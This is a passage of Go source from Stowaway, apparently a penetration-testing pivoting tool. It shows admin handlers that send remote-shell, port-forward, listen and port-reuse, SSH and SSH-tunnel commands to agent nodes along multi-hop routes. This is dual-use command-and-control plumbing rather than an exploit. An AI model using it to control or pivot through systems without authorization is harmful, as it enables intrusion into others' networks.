21 | 		Accepter:    uuid,
22 | 		MessageType: protocol.CONNECTSTART,
23 | 		RouteLen:    uint32(len([]byte(route))),
24 | 		Route:       route,
25 | 	}
26 | 
27 | 	connMess := &protocol.ConnectStart{
28 | 		AddrLen: uint16(len([]byte(normalAddr))),
29 | 		Addr:    normalAddr,
30 | 	}
31 | 
32 | 	protocol.ConstructMessage(sMessage, header, connMess, false)
33 | 	sMessage.SendMessage()
34 | 
35 | 	if ok := <-mgr.ConnectManager.ConnectReady; !ok {
36 | 		printer.Fail("\r\n[*] Cannot connect to node %s", addr)
37 | 	}
38 | 
39 | 	return nil
40 | }
41 | 
42 | func DispatchConnectMess(mgr *manager.Manager) {
43 | 	for {
44 | 		message := <-mgr.ConnectManager.ConnectMessChan
45 | 
46 | 		switch mess := message.(type) {
47 | 		case *protocol.ConnectDone:
48 | 			if mess.OK == 1 {
49 | 				mgr.ConnectManager.ConnectReady <- true
50 | 			} else {
51 | 				mgr.ConnectManager.ConnectReady <- false
52 | 			}
53 | 		}
54 | 	}
55 | }
56 | 


--------------------------------------------------------------------------------
/admin/handler/file.go:
--------------------------------------------------------------------------------
 1 | package handler
 2 | 
 3 | import (
 4 | 	"Stowaway/admin/manager"
 5 | 	"Stowaway/protocol"
 6 | 	"Stowaway/share"
 7 | 
 8 | 	"github.com/cheggaaa/pb"
 9 | )
10 | 
11 | // generate new bar
12 | func NewBar(length int64) *pb.ProgressBar {
13 | 	bar := pb.New64(int64(length))
14 | 	bar.SetTemplate(pb.Full)
15 | 	bar.Set(pb.Bytes, true)
16 | 
17 | 	return bar
18 | }
19 | 
20 | func StartBar(statusChan chan *share.Status, size int64) {
21 | 	bar := NewBar(size)
22 | 
23 | 	for {
24 | 		status := <-statusChan
25 | 		switch status.Stat {
26 | 		case share.START:
27 | 			bar.Start()
28 | 		case share.ADD:
29 | 			bar.Add64(status.Scale)
30 | 		case share.DONE:
31 | 			bar.Finish()
32 | 			return
33 | 		}
34 | 	}
35 | }
36 | 
37 | func DispatchFileMess(mgr *manager.Manager) {
38 | 	for {
39 | 		message := <-mgr.FileManager.FileMessChan
40 | 
41 | 		switch mess := message.(type) {
42 | 		case *protocol.FileStatReq:
43 | 			mgr.FileManager.File.FileSize = int64(mess.FileSize)
44 | 			mgr.FileManager.File.SliceNum = mess.SliceNum
45 | 			mgr.ConsoleManager.OK <- true
46 | 		case *protocol.FileStatRes:
47 | 			if mess.OK == 1 {
48 | 				mgr.ConsoleManager.OK <- true
49 | 			} else {
50 | 				mgr.FileManager.File.Handler.Close()
51 | 				mgr.ConsoleManager.OK <- false
52 | 			}
53 | 		case *protocol.FileDownRes:
54 | 			mgr.ConsoleManager.OK <- false
55 | 		case *protocol.FileData:
56 | 			mgr.FileManager.File.DataChan <- mess.Data
57 | 		case *protocol.FileErr:
58 | 			mgr.FileManager.File.ErrChan <- true
59 | 		}
60 | 	}
61 | }
62 | 


--------------------------------------------------------------------------------
/admin/handler/forward.go:
--------------------------------------------------------------------------------
  1 | package handler
  2 | 
  3 | import (
  4 | 	"fmt"
  5 | 	"net"
  6 | 
  7 | 	"Stowaway/admin/manager"
  8 | 	"Stowaway/global"
  9 | 	"Stowaway/protocol"
 10 | )
 11 | 
 12 | type Forward struct {
 13 | 	Addr string
 14 | 	Port string
 15 | }
 16 | 
 17 | func NewForward(port, addr string) *Forward {
 18 | 	forward := new(Forward)
 19 | 	forward.Port = port
 20 | 	forward.Addr = addr
 21 | 	return forward
 22 | }
 23 | 
 24 | func (forward *Forward) LetForward(mgr *manager.Manager, route string, uuid string) error {
 25 | 	listenAddr := fmt.Sprintf("0.0.0.0:%s", forward.Port)
 26 | 	listener, err := net.Listen("tcp", listenAddr)
 27 | 	if err != nil {
 28 | 		return err
 29 | 	}
 30 | 
 31 | 	sMessage := protocol.NewDownMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID)
 32 | 
 33 | 	header := &protocol.Header{
 34 | 		Sender:      protocol.ADMIN_UUID,
 35 | 		Accepter:    uuid,
 36 | 		MessageType: protocol.FORWARDTEST,
 37 | 		RouteLen:    uint32(len([]byte(route))),
 38 | 		Route:       route,
 39 | 	}
 40 | 
 41 | 	testMess := &protocol.ForwardTest{
 42 | 		AddrLen: uint16(len([]byte(forward.Addr))),
 43 | 		Addr:    forward.Addr,
 44 | 	}
 45 | 
 46 | 	protocol.ConstructMessage(sMessage, header, testMess, false)
 47 | 	sMessage.SendMessage()
 48 | 
 49 | 	if ready := <-mgr.ForwardManager.ForwardReady; !ready {
 50 | 		listener.Close()
 51 | 		err := fmt.Errorf("fail to forward port %s to remote addr %s,remote addr is not responding", forward.Port, forward.Addr)
 52 | 		return err
 53 | 	}
 54 | 
 55 | 	mgrTask := &manager.ForwardTask{
 56 | 		Mode:       manager.F_NEWFORWARD,
 57 | 		UUID:       uuid,
 58 | 		Listener:   listener,
 59 | 		Port:       forward.Port,
 60 | 		RemoteAddr: forward.Addr,
 61 | 	}
 62 | 
 63 | 	mgr.ForwardManager.TaskChan <- mgrTask
 64 | 	<-mgr.ForwardManager.ResultChan
 65 | 
 66 | 	go forward.handleForwardListener(mgr, listener, route, uuid)
 67 | 
 68 | 	return nil
 69 | }
 70 | 
 71 | func (forward *Forward) handleForwardListener(mgr *manager.Manager, listener net.Listener, route string, uuid string) {
 72 | 	for {
 73 | 		conn, err := listener.Accept()
 74 | 		if err != nil {
 75 | 			listener.Close() // todo:map没有释放
 76 | 			return
 77 | 		}
 78 | 
 79 | 		mgrTask := &manager.ForwardTask{
 80 | 			Mode: manager.F_GETNEWSEQ,
 81 | 			UUID: uuid,
 82 | 			Port: forward.Port,
 83 | 		}
 84 | 		mgr.ForwardManager.TaskChan <- mgrTask
 85 | 		result := <-mgr.ForwardManager.ResultChan
 86 | 		seq := result.ForwardSeq
 87 | 
 88 | 		mgrTask = &manager.ForwardTask{
 89 | 			Mode: manager.F_ADDCONN,
 90 | 			UUID: uuid,
 91 | 			Seq:  seq,
 92 | 			Port: forward.Port,
 93 | 		}
 94 | 		mgr.ForwardManager.TaskChan <- mgrTask
 95 | 		result = <-mgr.ForwardManager.ResultChan
 96 | 		if !result.OK {
 97 | 			conn.Close()
 98 | 			return
 99 | 		}
100 | 
101 | 		go forward.handleForward(mgr, conn, route, uuid, seq)
102 | 	}
103 | }
104 | 
105 | func (forward *Forward) handleForward(mgr *manager.Manager, conn net.Conn, route string, uuid string, seq uint64) {
106 | 	sMessage := protocol.NewDownMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID)
107 | 	// tell agent to start
108 | 	startHeader := &protocol.Header{
109 | 		Sender:      protocol.ADMIN_UUID,
110 | 		Accepter:    uuid,
111 | 		MessageType: protocol.FORWARDSTART,
112 | 		RouteLen:    uint32(len([]byte(route))),
113 | 		Route:       route,
114 | 	}
115 | 
116 | 	startMess := &protocol.ForwardStart{
117 | 		Seq:     seq,
118 | 		AddrLen: uint16(len([]byte(forward.Addr))),
119 | 		Addr:    forward.Addr,
120 | 	}
121 | 
122 | 	// Seems strange hh
123 | 	// but the reason why i split this into two part (line 139 and line 168)
124 | 	// is that if i want to use "Done chan" to make sure "stopforward" won't accidentally close the datachan that line 267 get(which can lead to panic)
125 | 	// i must make sure that "Done chan" won't block the forwardManager first
126 | 	// think about this scenario:when admin send startMess to agent,and agent send data back just before line 140 "F_GETDATACHAN" done
127 | 	// what will happen?
128 | 	// since i use "Done chan" to block the forwardManager, so i must do done<-true to make forwardManager go ahead
129 | 	// but sadly, if i want send true to done,i need to send forward data to corresponding chan
130 | 	// and at the same time "F_GETDATACHAN" is trying to achieve forwardManager's response(which will never response because "Done chan" is blocking it)
131 | 	// the DEAD LOCK happened
132 | 	// so to avoid DEAD LOCK, i split task and result to make sure agent must send data after admin get all things done
133 | 	mgrTask := &manager.ForwardTask{
134 | 		Mode: manager.F_GETDATACHAN,
135 | 		UUID: uuid,
136 | 		Seq:  seq,
137 | 		Port: forward.Port,
138 | 	}
139 | 	mgr.ForwardManager.TaskChan <- mgrTask
140 | 	result := <-mgr.ForwardManager.ResultChan
141 | 
142 | 	protocol.ConstructMessage(sMessage, startHeader, startMess, false)
143 | 	sMessage.SendMessage()
144 | 
145 | 	defer func() {
146 | 		finHeader := &protocol.Header{
147 | 			Sender:      protocol.ADMIN_UUID,
148 | 			Accepter:    uuid,
149 | 			MessageType: protocol.FORWARDFIN,
150 | 			RouteLen:    uint32(len([]byte(route))),
151 | 			Route:       route,
152 | 		}
153 | 
154 | 		finMess := &protocol.ForwardFin{
155 | 			Seq: seq,
156 | 		}
157 | 
158 | 		protocol.ConstructMessage(sMessage, finHeader, finMess, false)
159 | 		sMessage.SendMessage()
160 | 	}()
161 | 
162 | 	if !result.OK {
163 | 		return
164 | 	}
165 | 
166 | 	dataChan := result.DataChan
167 | 
168 | 	go func() {
169 | 		for {
170 | 			if data, ok := <-dataChan; ok {
171 | 				conn.Write(data)
172 | 			} else {
173 | 				conn.Close()
174 | 				return
175 | 			}
176 | 		}
177 | 	}()
178 | 
179 | 	dataHeader := &protocol.Header{
180 | 		Sender:      protocol.ADMIN_UUID,
181 | 		Accepter:    uuid,
182 | 		MessageType: protocol.FORWARDDATA,
183 | 		RouteLen:    uint32(len([]byte(route))),
184 | 		Route:       route,
185 | 	}
186 | 
187 | 	buffer := make([]byte, 20480)
188 | 
189 | 	for {
190 | 		length, err := conn.Read(buffer)
191 | 		if err != nil {
192 | 			conn.Close()
193 | 			return
194 | 		}
195 | 
196 | 		forwardDataMess := &protocol.ForwardData{
197 | 			Seq:     seq,
198 | 			DataLen: uint64(length),
199 | 			Data:    buffer[:length],
200 | 		}
201 | 
202 | 		protocol.ConstructMessage(sMessage, dataHeader, forwardDataMess, false)
203 | 		sMessage.SendMessage()
204 | 	}
205 | }
206 | 
207 | func GetForwardInfo(mgr *manager.Manager, uuid string) (int, bool) {
208 | 	mgrTask := &manager.ForwardTask{
209 | 		Mode: manager.F_GETFORWARDINFO,
210 | 		UUID: uuid,
211 | 	}
212 | 	mgr.ForwardManager.TaskChan <- mgrTask
213 | 	result := <-mgr.ForwardManager.ResultChan
214 | 
215 | 	if result.OK {
216 | 		fmt.Print("\r\n[0] All")
217 | 		for _, info := range result.ForwardInfo {
218 | 			fmt.Printf(
219 | 				"\r\n[%d] Listening Addr: %s , Remote Addr: %s , Active Connnections: %d",
220 | 				info.Seq,
221 | 				info.Laddr,
222 | 				info.Raddr,
223 | 				info.ActiveNum,
224 | 			)
225 | 		}
226 | 	}
227 | 
228 | 	return len(result.ForwardInfo) - 1, result.OK
229 | }
230 | 
231 | func StopForward(mgr *manager.Manager, uuid string, choice int) {
232 | 	if choice == 0 {
233 | 		mgrTask := &manager.ForwardTask{
234 | 			Mode: manager.F_CLOSESINGLEALL,
235 | 			UUID: uuid,
236 | 		}
237 | 		mgr.ForwardManager.TaskChan <- mgrTask
238 | 		<-mgr.ForwardManager.ResultChan
239 | 	} else {
240 | 		mgrTask := &manager.ForwardTask{
241 | 			Mode:        manager.F_CLOSESINGLE,
242 | 			UUID:        uuid,
243 | 			CloseTarget: choice,
244 | 		}
245 | 		mgr.ForwardManager.TaskChan <- mgrTask
246 | 		<-mgr.ForwardManager.ResultChan
247 | 	}
248 | }
249 | 
250 | func DispatchForwardMess(mgr *manager.Manager) {
251 | 	for {
252 | 		message := <-mgr.ForwardManager.ForwardMessChan
253 | 
254 | 		switch mess := message.(type) {
255 | 		case *protocol.ForwardReady:
256 | 			if mess.OK == 1 {
257 | 				mgr.ForwardManager.ForwardReady <- true
258 | 			} else {
259 | 				mgr.ForwardManager.ForwardReady <- false
260 | 			}
261 | 		case *protocol.ForwardData:
262 | 			mgrTask := &manager.ForwardTask{
263 | 				Mode: manager.F_GETDATACHAN_WITHOUTUUID,
264 | 				Seq:  mess.Seq,
265 | 			}
266 | 			mgr.ForwardManager.TaskChan <- mgrTask
267 | 			result := <-mgr.ForwardManager.ResultChan
268 | 			if result.OK {
269 | 				result.DataChan <- mess.Data
270 | 			}
271 | 			mgr.ForwardManager.Done <- true
272 | 		case *protocol.ForwardFin:
273 | 			mgrTask := &manager.ForwardTask{
274 | 				Mode: manager.F_CLOSETCP,
275 | 				Seq:  mess.Seq,
276 | 			}
277 | 			mgr.ForwardManager.TaskChan <- mgrTask
278 | 		}
279 | 	}
280 | }
281 | 


--------------------------------------------------------------------------------
/admin/handler/heartbeat.go:
--------------------------------------------------------------------------------
 1 | package handler
 2 | 
 3 | import (
 4 | 	"Stowaway/admin/topology"
 5 | 	"Stowaway/global"
 6 | 	"Stowaway/protocol"
 7 | 	"time"
 8 | )
 9 | 
10 | func LetHeartbeat(topo *topology.Topology) {
11 | 	topoTask := &topology.TopoTask{
12 | 		Mode:    topology.GETUUID,
13 | 		UUIDNum: 0,
14 | 	}
15 | 
16 | 	topo.TaskChan <- topoTask
17 | 	topoResult := <-topo.ResultChan
18 | 	uuid := topoResult.UUID
19 | 
20 | 	topoTask = &topology.TopoTask{
21 | 		Mode: topology.GETROUTE,
22 | 		UUID: uuid,
23 | 	}
24 | 	topo.TaskChan <- topoTask
25 | 	topoResult = <-topo.ResultChan
26 | 	route := topoResult.Route
27 | 
28 | 	for {
29 | 		time.Sleep(time.Duration(10) * time.Second)
30 | 
31 | 		sMessage := protocol.NewDownMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID)
32 | 
33 | 		header := &protocol.Header{
34 | 			Sender:      protocol.ADMIN_UUID,
35 | 			Accepter:    uuid,
36 | 			MessageType: protocol.HEARTBEAT,
37 | 			RouteLen:    uint32(len([]byte(route))),
38 | 			Route:       route,
39 | 		}
40 | 
41 | 		HBMess := &protocol.HeartbeatMsg{
42 | 			Ping: 1,
43 | 		}
44 | 
45 | 		protocol.ConstructMessage(sMessage, header, HBMess, false)
46 | 		sMessage.SendMessage()
47 | 	}
48 | }
49 | 


--------------------------------------------------------------------------------
/admin/handler/listen.go:
--------------------------------------------------------------------------------
  1 | package handler
  2 | 
  3 | import (
  4 | 	"Stowaway/admin/manager"
  5 | 	"Stowaway/admin/printer"
  6 | 	"Stowaway/admin/topology"
  7 | 	"Stowaway/global"
  8 | 	"Stowaway/protocol"
  9 | 	"Stowaway/utils"
 10 | )
 11 | 
 12 | const (
 13 | 	NORMAL = iota
 14 | 	IPTABLES
 15 | 	SOREUSE
 16 | )
 17 | 
 18 | type Listen struct {
 19 | 	Method int
 20 | 	Addr   string
 21 | }
 22 | 
 23 | func NewListen() *Listen {
 24 | 	return new(Listen)
 25 | }
 26 | 
 27 | func (listen *Listen) LetListen(mgr *manager.Manager, route, uuid string) error {
 28 | 	var finalAddr string
 29 | 
 30 | 	if listen.Method == NORMAL {
 31 | 		var err error
 32 | 		finalAddr, _, err = utils.CheckIPPort(listen.Addr)
 33 | 		if err != nil {
 34 | 			return err
 35 | 		}
 36 | 	}
 37 | 
 38 | 	sMessage := protocol.NewDownMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID)
 39 | 
 40 | 	header := &protocol.Header{
 41 | 		Sender:      protocol.ADMIN_UUID,
 42 | 		Accepter:    uuid,
 43 | 		MessageType: protocol.LISTENREQ,
 44 | 		RouteLen:    uint32(len([]byte(route))),
 45 | 		Route:       route,
 46 | 	}
 47 | 
 48 | 	listenReqMess := &protocol.ListenReq{
 49 | 		Method:  uint16(listen.Method),
 50 | 		AddrLen: uint64(len(finalAddr)),
 51 | 		Addr:    finalAddr,
 52 | 	}
 53 | 
 54 | 	protocol.ConstructMessage(sMessage, header, listenReqMess, false)
 55 | 	sMessage.SendMessage()
 56 | 
 57 | 	if <-mgr.ListenManager.ListenReady {
 58 | 		if listen.Method == NORMAL {
 59 | 			printer.Success("\r\n[*] Node is listening on %s", listen.Addr)
 60 | 		} else {
 61 | 			printer.Success("\r\n[*] Node is reusing port successfully,just waiting for child....")
 62 | 		}
 63 | 	} else {
 64 | 		if listen.Method == NORMAL {
 65 | 			printer.Success("\r\n[*] Node cannot listen on %s", listen.Addr)
 66 | 		} else {
 67 | 			printer.Success("\r\n[*] Node cannot reusing port,plz check if node is initialed via resusing!")
 68 | 		}
 69 | 	}
 70 | 
 71 | 	return nil
 72 | }
 73 | 
 74 | // this function is SPECIAL,handling childuuidreq from both "listen" && "node reuse" && "connect" && "sshtunnel" condition
 75 | func dispatchChildUUID(mgr *manager.Manager, topo *topology.Topology, parentUUID, ip string) {
 76 | 	uuid := utils.GenerateUUID()
 77 | 	node := topology.NewNode(uuid, ip)
 78 | 	topoTask := &topology.TopoTask{
 79 | 		Mode:       topology.ADDNODE,
 80 | 		Target:     node,
 81 | 		ParentUUID: parentUUID,
 82 | 		IsFirst:    false,
 83 | 	}
 84 | 	topo.TaskChan <- topoTask
 85 | 	topoResult := <-topo.ResultChan
 86 | 	childIDNum := topoResult.IDNum
 87 | 
 88 | 	topoTask = &topology.TopoTask{
 89 | 		Mode: topology.CALCULATE,
 90 | 	}
 91 | 	topo.TaskChan <- topoTask
 92 | 	<-topo.ResultChan
 93 | 
 94 | 	topoTask = &topology.TopoTask{
 95 | 		Mode: topology.GETROUTE,
 96 | 		UUID: parentUUID,
 97 | 	}
 98 | 	topo.TaskChan <- topoTask
 99 | 	topoResult = <-topo.ResultChan
100 | 	route := topoResult.Route
101 | 
102 | 	sMessage := protocol.NewDownMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID)
103 | 
104 | 	header := &protocol.Header{
105 | 		Sender:      protocol.ADMIN_UUID,
106 | 		Accepter:    parentUUID,
107 | 		MessageType: protocol.CHILDUUIDRES,
108 | 		RouteLen:    uint32(len([]byte(route))),
109 | 		Route:       route,
110 | 	}
111 | 
112 | 	cUUIDResMess := &protocol.ChildUUIDRes{
113 | 		UUIDLen: uint16(len(uuid)),
114 | 		UUID:    uuid,
115 | 	}
116 | 
117 | 	protocol.ConstructMessage(sMessage, header, cUUIDResMess, false)
118 | 	sMessage.SendMessage()
119 | 
120 | 	printer.Success("\r\n[*] New node online! Node id is %d\r\n", childIDNum)
121 | }
122 | 
123 | func DispatchListenMess(mgr *manager.Manager, topo *topology.Topology) {
124 | 	for {
125 | 		message := <-mgr.ListenManager.ListenMessChan
126 | 
127 | 		switch mess := message.(type) {
128 | 		case *protocol.ListenRes:
129 | 			if mess.OK == 1 {
130 | 				mgr.ListenManager.ListenReady <- true
131 | 			} else {
132 | 				mgr.ListenManager.ListenReady <- false
133 | 			}
134 | 		case *protocol.ChildUUIDReq:
135 | 			go dispatchChildUUID(mgr, topo, mess.ParentUUID, mess.IP)
136 | 		}
137 | 	}
138 | }
139 | 


--------------------------------------------------------------------------------
/admin/handler/memo.go:
--------------------------------------------------------------------------------
 1 | package handler
 2 | 
 3 | import (
 4 | 	"Stowaway/admin/manager"
 5 | 	"Stowaway/admin/printer"
 6 | 	"Stowaway/admin/topology"
 7 | 	"Stowaway/global"
 8 | 	"Stowaway/protocol"
 9 | )
10 | 
11 | func AddMemo(taskChan chan *topology.TopoTask, info []string, uuid string, route string) {
12 | 	var memo string
13 | 
14 | 	for _, i := range info {
15 | 		memo = memo + " " + i
16 | 	}
17 | 
18 | 	sMessage := protocol.NewDownMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID)
19 | 
20 | 	topoTask := &topology.TopoTask{
21 | 		Mode: topology.UPDATEMEMO,
22 | 		UUID: uuid,
23 | 		Memo: memo,
24 | 	}
25 | 	taskChan <- topoTask
26 | 
27 | 	header := &protocol.Header{
28 | 		Sender:      protocol.ADMIN_UUID,
29 | 		Accepter:    uuid,
30 | 		MessageType: protocol.MYMEMO,
31 | 		RouteLen:    uint32(len([]byte(route))),
32 | 		Route:       route,
33 | 	}
34 | 
35 | 	myMemoMess := &protocol.MyMemo{
36 | 		MemoLen: uint64(len(memo)),
37 | 		Memo:    memo,
38 | 	}
39 | 
40 | 	protocol.ConstructMessage(sMessage, header, myMemoMess, false)
41 | 	sMessage.SendMessage()
42 | 
43 | 	printer.Success("\r\n[*] Memo added!")
44 | }
45 | 
46 | func DelMemo(taskChan chan *topology.TopoTask, uuid string, route string) {
47 | 	topoTask := &topology.TopoTask{
48 | 		Mode: topology.UPDATEMEMO,
49 | 		UUID: uuid,
50 | 		Memo: "",
51 | 	}
52 | 	taskChan <- topoTask
53 | 
54 | 	sMessage := protocol.NewDownMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID)
55 | 
56 | 	header := &protocol.Header{
57 | 		Sender:      protocol.ADMIN_UUID,
58 | 		Accepter:    uuid,
59 | 		MessageType: protocol.MYMEMO,
60 | 		RouteLen:    uint32(len([]byte(route))),
61 | 		Route:       route,
62 | 	}
63 | 
64 | 	myMemoMess := &protocol.MyMemo{
65 | 		MemoLen: uint64(len("")),
66 | 		Memo:    "",
67 | 	}
68 | 
69 | 	protocol.ConstructMessage(sMessage, header, myMemoMess, false)
70 | 	sMessage.SendMessage()
71 | 
72 | 	printer.Success("\r\n[*] Memo deleted!")
73 | }
74 | 
75 | func DispatchInfoMess(mgr *manager.Manager, topo *topology.Topology) {
76 | 	for {
77 | 		message := <-mgr.InfoManager.InfoMessChan
78 | 
79 | 		switch mess := message.(type) {
80 | 		case *protocol.MyInfo:
81 | 			task := &topology.TopoTask{
82 | 				Mode:     topology.UPDATEDETAIL,
83 | 				UUID:     mess.UUID,
84 | 				UserName: mess.Username,
85 | 				HostName: mess.Hostname,
86 | 				Memo:     mess.Memo,
87 | 			}
88 | 			topo.TaskChan <- task
89 | 		}
90 | 	}
91 | }
92 | 


--------------------------------------------------------------------------------
/admin/handler/offline.go:
--------------------------------------------------------------------------------
 1 | package handler
 2 | 
 3 | import (
 4 | 	"Stowaway/global"
 5 | 	"Stowaway/protocol"
 6 | )
 7 | 
 8 | func LetShutdown(route string, uuid string) {
 9 | 	sMessage := protocol.NewDownMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID)
10 | 
11 | 	header := &protocol.Header{
12 | 		Sender:      protocol.ADMIN_UUID,
13 | 		Accepter:    uuid,
14 | 		MessageType: protocol.SHUTDOWN,
15 | 		RouteLen:    uint32(len([]byte(route))),
16 | 		Route:       route,
17 | 	}
18 | 
19 | 	shutdownMess := &protocol.Shutdown{
20 | 		OK: 1,
21 | 	}
22 | 
23 | 	protocol.ConstructMessage(sMessage, header, shutdownMess, false)
24 | 	sMessage.SendMessage()
25 | }
26 | 


--------------------------------------------------------------------------------
/admin/handler/shell.go:
--------------------------------------------------------------------------------
 1 | package handler
 2 | 
 3 | import (
 4 | 	"fmt"
 5 | 
 6 | 	"Stowaway/admin/manager"
 7 | 	"Stowaway/global"
 8 | 	"Stowaway/protocol"
 9 | )
10 | 
11 | func LetShellStart(route string, uuid string) {
12 | 	sMessage := protocol.NewDownMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID)
13 | 
14 | 	header := &protocol.Header{
15 | 		Sender:      protocol.ADMIN_UUID,
16 | 		Accepter:    uuid,
17 | 		MessageType: protocol.SHELLREQ,
18 | 		RouteLen:    uint32(len([]byte(route))),
19 | 		Route:       route,
20 | 	}
21 | 
22 | 	shellReqMess := &protocol.ShellReq{
23 | 		Start: 1,
24 | 	}
25 | 
26 | 	protocol.ConstructMessage(sMessage, header, shellReqMess, false)
27 | 	sMessage.SendMessage()
28 | }
29 | 
30 | func DispatchShellMess(mgr *manager.Manager) {
31 | 	for {
32 | 		message := <-mgr.ShellManager.ShellMessChan
33 | 
34 | 		switch mess := message.(type) {
35 | 		case *protocol.ShellRes:
36 | 			if mess.OK == 1 {
37 | 				mgr.ConsoleManager.OK <- true
38 | 			} else {
39 | 				mgr.ConsoleManager.OK <- false
40 | 			}
41 | 		case *protocol.ShellResult:
42 | 			fmt.Print(mess.Result)
43 | 		case *protocol.ShellExit:
44 | 			mgr.ConsoleManager.Exit <- true
45 | 		}
46 | 	}
47 | }
48 | 


--------------------------------------------------------------------------------
/admin/handler/ssh.go:
--------------------------------------------------------------------------------
 1 | package handler
 2 | 
 3 | import (
 4 | 	"fmt"
 5 | 	"io/ioutil"
 6 | 
 7 | 	"Stowaway/admin/manager"
 8 | 	"Stowaway/global"
 9 | 	"Stowaway/protocol"
10 | 	"Stowaway/utils"
11 | )
12 | 
13 | const (
14 | 	UPMETHOD = iota
15 | 	CERMETHOD
16 | )
17 | 
18 | type SSH struct {
19 | 	Method          int
20 | 	Addr            string
21 | 	Username        string
22 | 	Password        string
23 | 	CertificatePath string
24 | 	Certificate     []byte
25 | }
26 | 
27 | func NewSSH(addr string) *SSH {
28 | 	ssh := new(SSH)
29 | 	ssh.Addr = addr
30 | 	return ssh
31 | }
32 | 
33 | func (ssh *SSH) LetSSH(route string, uuid string) error {
34 | 	_, _, err := utils.CheckIPPort(ssh.Addr)
35 | 	if err != nil {
36 | 		return err
37 | 	}
38 | 
39 | 	if ssh.Method == CERMETHOD {
40 | 		if err := ssh.getCertificate(); err != nil {
41 | 			return err
42 | 		}
43 | 	}
44 | 
45 | 	sMessage := protocol.NewDownMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID)
46 | 
47 | 	header := &protocol.Header{
48 | 		Sender:      protocol.ADMIN_UUID,
49 | 		Accepter:    uuid,
50 | 		MessageType: protocol.SSHREQ,
51 | 		RouteLen:    uint32(len([]byte(route))),
52 | 		Route:       route,
53 | 	}
54 | 
55 | 	sshReqMess := &protocol.SSHReq{
56 | 		Method:         uint16(ssh.Method),
57 | 		AddrLen:        uint16(len(ssh.Addr)),
58 | 		Addr:           ssh.Addr,
59 | 		UsernameLen:    uint64(len(ssh.Username)),
60 | 		Username:       ssh.Username,
61 | 		PasswordLen:    uint64(len(ssh.Password)),
62 | 		Password:       ssh.Password,
63 | 		CertificateLen: uint64(len(ssh.Certificate)),
64 | 		Certificate:    ssh.Certificate,
65 | 	}
66 | 
67 | 	protocol.ConstructMessage(sMessage, header, sshReqMess, false)
68 | 	sMessage.SendMessage()
69 | 
70 | 	return nil
71 | }
72 | 
73 | func (ssh *SSH) getCertificate() (err error) {
74 | 	ssh.Certificate, err = ioutil.ReadFile(ssh.CertificatePath)
75 | 	if err != nil {
76 | 		return
77 | 	}
78 | 	return
79 | }
80 | 
81 | func DispatchSSHMess(mgr *manager.Manager) {
82 | 	for {
83 | 		message := <-mgr.SSHManager.SSHMessChan
84 | 
85 | 		switch mess := message.(type) {
86 | 		case *protocol.SSHRes:
87 | 			if mess.OK == 1 {
88 | 				mgr.ConsoleManager.OK <- true
89 | 			} else {
90 | 				mgr.ConsoleManager.OK <- false
91 | 			}
92 | 		case *protocol.SSHResult:
93 | 			fmt.Print(mess.Result)
94 | 		case *protocol.SSHExit:
95 | 			mgr.ConsoleManager.Exit <- true
96 | 		}
97 | 	}
98 | }
99 | 


--------------------------------------------------------------------------------
/admin/handler/sshtunnel.go:
--------------------------------------------------------------------------------
 1 | package handler
 2 | 
 3 | import (
 4 | 	"io/ioutil"
 5 | 
 6 | 	"Stowaway/admin/manager"
 7 | 	"Stowaway/global"
 8 | 	"Stowaway/protocol"
 9 | 	"Stowaway/utils"
10 | )
11 | 
12 | type SSHTunnel struct {
13 | 	Method          int
14 | 	Addr            string
15 | 	Port            string
16 | 	Username        string
17 | 	Password        string
18 | 	CertificatePath string
19 | 	Certificate     []byte
20 | }
21 | 
22 | func NewSSHTunnel(port, addr string) *SSHTunnel {
23 | 	sshTunnel := new(SSHTunnel)
24 | 	sshTunnel.Port = port
25 | 	sshTunnel.Addr = addr
26 | 	return sshTunnel
27 | }
28 | 
29 | func (sshTunnel *SSHTunnel) LetSSHTunnel(route, uuid string) error {
30 | 	_, _, err := utils.CheckIPPort(sshTunnel.Addr)
31 | 	if err != nil {
32 | 		return err
33 | 	}
34 | 
35 | 	if sshTunnel.Method == CERMETHOD {
36 | 		if err := sshTunnel.getCertificate(); err != nil {
37 | 			return err
38 | 		}
39 | 	}
40 | 
41 | 	sMessage := protocol.NewDownMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID)
42 | 
43 | 	header := &protocol.Header{
44 | 		Sender:      protocol.ADMIN_UUID,
45 | 		Accepter:    uuid,
46 | 		MessageType: protocol.SSHTUNNELREQ,
47 | 		RouteLen:    uint32(len([]byte(route))),
48 | 		Route:       route,
49 | 	}
50 | 
51 | 	sshTunnelReqMess := &protocol.SSHTunnelReq{
52 | 		Method:         uint16(sshTunnel.Method),
53 | 		AddrLen:        uint16(len(sshTunnel.Addr)),
54 | 		Addr:           sshTunnel.Addr,
55 | 		PortLen:        uint16(len(sshTunnel.Port)),
56 | 		Port:           sshTunnel.Port,
57 | 		UsernameLen:    uint64(len(sshTunnel.Username)),
58 | 		Username:       sshTunnel.Username,
59 | 		PasswordLen:    uint64(len(sshTunnel.Password)),
60 | 		Password:       sshTunnel.Password,
61 | 		CertificateLen: uint64(len(sshTunnel.Certificate)),
62 | 		Certificate:    sshTunnel.Certificate,
63 | 	}
64 | 
65 | 	protocol.ConstructMessage(sMessage, header, sshTunnelReqMess, false)
66 | 	sMessage.SendMessage()
67 | 
68 | 	return nil
69 | }
70 | 
71 | func (sshTunnel *SSHTunnel) getCertificate() (err error) {
72 | 	sshTunnel.Certificate, err = ioutil.ReadFile(sshTunnel.CertificatePath)
73 | 	if err != nil {
74 | 		return
75 | 	}
76 | 	return
77 | }
78 | 
79 | func DispatchSSHTunnelMess(mgr *manager.Manager) {
80 | 	for {
81 | 		message := <-mgr.SSHTunnelManager.SSHTunnelMessChan
82 | 
83 | 		switch mess := message.(type) {
84 | 		case *protocol.SSHTunnelRes:
85 | 			if mess.OK == 1 {
86 | 				mgr.ConsoleManager.OK <- true
87 | 			} else {
88 | 				mgr.ConsoleManager.OK <- false
89 | 			}
90 | 		}
